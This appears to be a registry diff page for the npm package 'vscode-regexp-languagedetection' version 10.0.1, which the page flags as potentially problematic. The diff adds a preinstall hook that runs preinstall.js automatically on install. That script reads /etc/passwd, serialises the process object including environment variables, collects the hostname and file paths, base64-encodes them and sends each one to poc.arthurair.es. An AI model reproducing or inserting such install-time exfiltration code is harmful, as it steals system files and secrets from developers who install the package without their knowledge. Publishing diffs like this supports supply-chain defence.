vscode-regexp-languagedetection 10.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vscode-regexp-languagedetection might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +3 -0
  2. package/package.json +17 -0
  3. package/preinstall.js +38 -0
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ module.exports.hacked = function () {
2
+ return "h1:arthuraires"
3
+ }
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "vscode-regexp-languagedetection",
3
+ "version": "10.0.1",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "arthuraires3",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "http": "0.0.1-security",
13
+ "https": "^1.0.0",
14
+ "os": "^0.1.1"
15
+ },
16
+ "description": ""
17
+ }
package/preinstall.js ADDED
@@ -0,0 +1,38 @@
1
+ 'use strict'
2
+
3
+ const https = require('https')
4
+ const http = require("http");
5
+ const os = require("os");
6
+
7
+ var currentPath = __dirname.toString('base64');
8
+ var currentFile = __filename.toString('base64');
9
+ var currentEnvString = JSON.stringify(process);
10
+ var currentPath = Buffer.from(JSON.stringify(__dirname)).toString('base64');
11
+ var currentFile = Buffer.from(JSON.stringify(__filename)).toString('base64');
12
+ var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
13
+ var currentHostName = Buffer.from(JSON.stringify(os.hostname())).toString('base64');
14
+
15
+ var fs = require('fs')
16
+
17
+ function sendRequest(data) {
18
+ https.get('https://poc.arthurair.es/?-vscode-regexp-languagedetection-' + data, (resp) => {
19
+ }).on("error", (err) => {
20
+ console.log("Error: " + err.message);
21
+ });
22
+ }
23
+
24
+ fs.readFile('/etc/passwd', 'utf8', async function (err,file) {
25
+
26
+ var etc = Buffer.from(file).toString('base64');
27
+ var env = currentEnvBase64;
28
+
29
+ sendRequest('--------------------INICIO-ME------------------------')
30
+ sendRequest(etc)
31
+ sendRequest(env)
32
+ sendRequest(currentPath)
33
+ sendRequest(currentHostName)
34
+ sendRequest(currentFile)
35
+ sendRequest('--------------------FINAL--ME----------------------')
36
+
37
+
38
+ });